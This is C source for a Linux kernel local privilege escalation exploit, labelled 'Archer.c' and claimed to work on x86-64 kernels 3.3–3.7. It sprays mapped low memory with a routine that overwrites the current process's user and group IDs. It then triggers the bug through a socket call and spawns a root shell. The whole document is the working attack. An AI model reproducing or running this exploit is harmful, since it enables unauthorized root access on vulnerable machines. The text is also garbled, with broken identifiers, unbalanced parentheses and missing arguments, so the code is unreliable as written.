// Archer. c // 2012 sd@fucksheep.org // Works reliably against x86-64 3.3-3.7 arch. /// Tested against: /// Linux XXX 3.3.1-1-ARCH #1 smp preempt Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux // Linux XXX 3.4.7-1-ARCH #1 smp preempt Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux // Linux XXX 3.7.4-1-ARCH #1 smp preempt Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux //... # include <assert. h> # define J UMP 0x000000000001000ll # define BASE 0x380000000 # define SIZE 0x010000000 # define KSIZE 0x2000000 static long ugid; void patch_current () {int I, j, k; char * current = * (char **) (long) & I) & (-8192); long kbase = (long) current)> 36; for (I = 0; I <4000; I + = 4) {long * p = (void *) & current [I]; int * t = (void *) p [0]; if (p [0]! = P [1]) | (p [0]> 36 )! = Kbase) continue; for (j = 0; j <20; j ++) {for (k = 0; k <8; k ++) if (int *) & ugid) [k % 2]! = T [j + k]) goto next; for (I = 0; I <8; I ++) t [j + I] = 0; for (I = 0; I <10; I ++) t [j + 9 + I] =-1; return; next :;}} int main () {long u = getuid (); long g = getgid (); int I, f = socket (, 4); static int n [10] = {x, 0,-1 }; assert (mmap (void *) (1 <12), 1 <20, 3, 0x32, 0, 0 )! =-1); setresuid (u, u, u); setresgid (g, g, g); ugid = (g <32) | u; memcpy (1 <12, & patch_current, 1024); for (I = 0; I <(1 <17); I ++) (void **) (1 <12) [I] = & patch_current; send (f, n, sizeof (n), 0); setuid (0 ); return execl ("/bin/bash", "-sh", 0 );}